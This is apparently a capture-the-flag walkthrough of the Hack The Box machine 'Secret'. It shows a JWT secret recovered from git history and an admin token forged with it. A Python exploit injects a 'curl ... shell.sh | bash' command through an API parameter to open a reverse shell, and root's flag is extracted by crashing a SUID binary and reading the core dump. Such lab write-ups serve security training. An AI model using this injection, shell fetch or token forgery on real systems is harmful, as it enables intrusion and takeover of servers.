Try   HackMD

Enumeration

# Nmap 7.80 scan initiated Sat Dec  4 15:52:39 2021 as: nmap -A -oN nmap-scan 10.129.220.51
Nmap scan report for 10.129.220.51
Host is up (0.16s latency).
Not shown: 996 closed ports
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open     http    Node.js (Express middleware)
|_http-title: DUMB Docs
8701/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec  4 15:53:33 2021 -- 1 IP address (1 host up) scanned in 54.92 seconds

So found 3 open ports , 22(SSH), 80(HTTP) , 3000(HTTP) with Node.js , Opening port 80 it had a landing page which was titled Dump Docs , and both were also there on port 3000 with a file named files.zip attached which contains the source code of how the api works

Gaining Initial Shell

Downloaded the files.zip and extracted it getting a folder named local-web, where inside it we have validation.js and I also noticed the .git folder then I realized it's a git repo , so now I decide to type in git show

And I got this line of code which does validation with if the username is 'theadmin' then I have admin privs , meaning I can access /logs and /privs , So I now decide to write a script which will register a user to the api on port 3000 :

#!/usr/bin/python3 # author : tahaafarooq import requests import json def convert_data(data): data = json.dumps(data) return data # setting creds to register register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaaa"} register_data = convert_data(register_data) # the target url (register and login) register_url = "http://secret.htb:3000/api/user/register" login_url = "http://secret.htb:3000/api/user/login" privs_url = "http://secret.htb:3000/api/priv" # setting header for the content header = {"Content-Type": "application/json"} # register account res = requests.post(register_url, data=register_data, headers=header) print(res.text)
➜  secret python3 sample.py
Name already Exist

So now then since it's already registered I decided to add another function on my script which will allow me to login with the registered creds:

#!/usr/bin/python3 # author : tahaafarooq import requests import json def convert_data(data): data = json.dumps(data) return data # setting creds to register register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaaa"} register_data = convert_data(register_data) # the target url (register and login) register_url = "http://secret.htb:3000/api/user/register" login_url = "http://secret.htb:3000/api/user/login" privs_url = "http://secret.htb:3000/api/priv" # setting header for the content header = {"Content-Type": "application/json"} # login function def login(): login_data = {"email": "tahaa@likes.you", "password": "tahaaaaa"} login_data = convert_data(login_data) res = requests.post(login_url, data=login_data, headers=header) token = res.text header.update({"auth-token": token}) print("[+] Authentication Token is : " , token) # checking user privs print("\n[+] Checking User Privs") res = requests.get(privs_url, headers=header) priv = res.text print("[+] ", priv) # register account res = requests.post(register_url, data=register_data, headers=header) print(res.text) # login if user is created or if user exists if res.text == '{"user": "tahaafarooq"}' or res.text == "Email already Exist" or "Name Already Exist" in res.text: print("[+] Logging You In") login() else: print("[!] Exiting") sys.exit(0)

So the login() function will log us in , using our creds , and then it will check what privileges we have and it will dump us a jwt token, YES! a JWT Token , now that I realized we have JWT Tokens related with this whole thing , I now decide to dump the .git folder using Dumper from GitTools , and after dumping whole those dumps, I decided to take a look at each .env file inside those dumps and at last I was able to get the jwt secret key used:

➜  local-web-dump cat 1-de0a46b5107a2f4d26e348303e76d85ae4870934/.env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Now since I have the key , I try checking the contents of the jwt token like what's inside it? and all that like the parameter and all that..

So now it rings on my mind , that the name with the highest privilege is theadmin so since i have the key all I can do now is to just change the name with this command:

python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' <token here>

and that should give us our generated signed new token for the admin:

➜ secret curl http://secret.htb/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im9vcHNpZUBvb3BzLmNvbSIsImlhdCI6MTYzNTY1Nzg1N30.atZrtL6UzhLQNDANrsNWeiv9wt4dzdYeOLaiGeNahcw'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

I now decided to get back to the source codes and found a file named private.js which is really interesting:

router.get('/logs', verifytoken, (req, res) => { const file = req.query.file; const userinfo = { name: req.user } const name = userinfo.name.name; if (name == 'theadmin'){ const getLogs = `git log --oneline ${file}`; exec(getLogs, (err , output) =>{ if(err){ res.status(500).send(err); return } res.json(output); }) }

const getLogs = git log --oneline ${file}

this can allow us to perform command injection , by adding ;<command to execute> at the ?file= , so I rewrote my exploit which will now have a function named forge() which will allow me to perform execute my revshell that I hosted from my localhost using http.server module and then will allow me to get reverse shell:

#!/usr/bin/python3 #author : tahaafarooq import requests import json import sys # function to make clear json query def convert_data(data): data = json.dumps(data) return data # setting creds register_data = {"name": "tahafarooq", "email": "tahaa@likes.you", "password": "tahaaaa"} register_data = convert_data(register_data) # declaring the target to register account and login account register_url = "http://secret.htb:3000/api/user/register" login_url = "http://secret.htb:3000/api/user/login" privs_url = "http://secret.htb:3000/api/priv" logs_url = "http://secret.htb:3000/api/logs?file=;curl+http://<yourip>:<yourport>/shell.sh+|+bash" # setting header for the content header = {"Content-Type": "application/json"} # function to login def login(): login_data = {"email": "tahaa@likes.you", "password": "tahaaaaa"} login_data = convert_data(login_data) res = requests.post(login_url, data=login_data, headers=header) token = res.text header.update({"auth-token": token}) print("[+] Authentication Token is : " , token) # checking user privs print("\n[+] Checking User Privs") res = requests.get(privs_url, headers=header) priv = res.text print("[+] ", priv) # function to forge def forge(): new_token = input("[*] Enter Token : ") print("Auth-Token:",new_token) header.update({"auth-token": new_token}) res = requests.get(privs_url, headers=header) print("[!]",res.text) print("[+] Now attempting to read logs") res = requests.get(logs_url, headers=header) print(res.text) sys.exit(0) # ask choice choice = input("[*] continue or forge : ") if choice == "continue": pass elif choice == "forge": forge() else: print("I didn't quiet get that") sys.exit(0) res = requests.post(register_url, data=register_data, headers=header) print(res.text) # login if user is created or if user exists if res.text == '{"user": "tahaafarooq"}' or res.text == "Email already Exist": print("[+] Logging You In") login() else: print("[!] Exiting")

Ran the exploit and boom!!!

➜  secret nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.220.51 50764
bash: cannot set terminal process group (1143): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$

Privilege Escalation

So first thing I do now is to check for files with SUID perms for root:

dasith@secret:~$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine

Luckily I found one binary named count inside /opt/count which also had a source code in the same folder, the source code was written in C :abc:

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dirent.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> void dircount(const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent; struct stat fstat; int tot = 0, regular_files = 0, directories = 0, symlinks = 0; if((dir = opendir(path)) == NULL) { printf("\nUnable to open directory.\n"); exit(EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL) { ++tot; strncpy(fullpath, path, PATH_MAX-NAME_MAX-1); strcat(fullpath, "/"); strncat(fullpath, ent->d_name, strlen(ent->d_name)); if (!lstat(fullpath, &fstat)) { if(S_ISDIR(fstat.st_mode)) { printf("d"); ++directories; } else if(S_ISLNK(fstat.st_mode)) { printf("l"); ++symlinks; } else if(S_ISREG(fstat.st_mode)) { printf("-"); ++regular_files; } else printf("?"); printf((fstat.st_mode & S_IRUSR) ? "r" : "-"); printf((fstat.st_mode & S_IWUSR) ? "w" : "-"); printf((fstat.st_mode & S_IXUSR) ? "x" : "-"); printf((fstat.st_mode & S_IRGRP) ? "r" : "-"); printf((fstat.st_mode & S_IWGRP) ? "w" : "-"); printf((fstat.st_mode & S_IXGRP) ? "x" : "-"); printf((fstat.st_mode & S_IROTH) ? "r" : "-"); printf((fstat.st_mode & S_IWOTH) ? "w" : "-"); printf((fstat.st_mode & S_IXOTH) ? "x" : "-"); } else { printf("??????????"); } printf ("\t%s\n", ent->d_name); } closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks); printf("\n%s", summary); } void filecount(const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r"); if (file == NULL) { printf("\nUnable to open file.\n"); printf("Please check if file exists and you have read privilege.\n"); exit(EXIT_FAILURE); } characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } if (characters > 0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines); printf("\n%s", summary); } int main() { char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0; }

I mean I understand what was in it , it's like we could write something or read something but not in higher privileged files or contents , so I now decided what if I try read a file root.txt and in between the process of the binary running I crush it purposely , now see when a program is crushed in between it's execution time, the crash log is saved to /var/crash , So theoretically and technically the flag should be inside the crash logs, and it'll produce the crashdump because it is set to produce the core dumps!

So I made two shell instances , one shell instance will be used to run the count binary before we crash it with the other shell instance.

I also noticed it's taking time to output the result of the binary running:

dasith@secret:/opt$ ./count -p
./count -p
/root/root.txt

Enter source file/directory name: 
Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: dasith@secret:/opt$ 

So I guess as I run it I have to type y before I crush it so as the results are saved lol

ON SECOND TERMINAL :

dasith@secret:~$ ps aux | grep -i count
root         817  0.0  0.1 235664  7500 ?        Ssl  12:50   0:00 /usr/lib/accountsservice/accounts-daemon
dasith      2086  0.0  0.0   2488   520 ?        S    15:14   0:00 ./count -p

I now crash that PID

dasith@secret:/opt$ ./count -p
./count -p/
root/root.txt
y
bash: [1639: 3 (255)] tcsetattr: Inappropriate ioctl for device

and there it is crashed

dasith@secret:/var/crash$ ls
_opt_count.0.crash  _opt_count.1000.crash  _opt_countzz.0.crash
dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/testing/
dasith@secret:/var/crash$ cd /tmp/testing
dasith@secret:/tmp/testing$ ls
Architecture  Date           ExecutablePath       ProblemType  ProcCwd      ProcMaps    Signal  UserGroups
CoreDump      DistroRelease  ExecutableTimestamp  ProcCmdline  ProcEnviron  ProcStatus  Uname

and now reading from the file CoreDump we see the flag using the command strings CoreDump:

Enter source file/directory name: 
Total characters = 33
Total words      = 2
Total lines      = 2
Save results a file? [y/N]: Path: 
oot/root.txt
bacf346d93f90a22e4d4900f87207aa2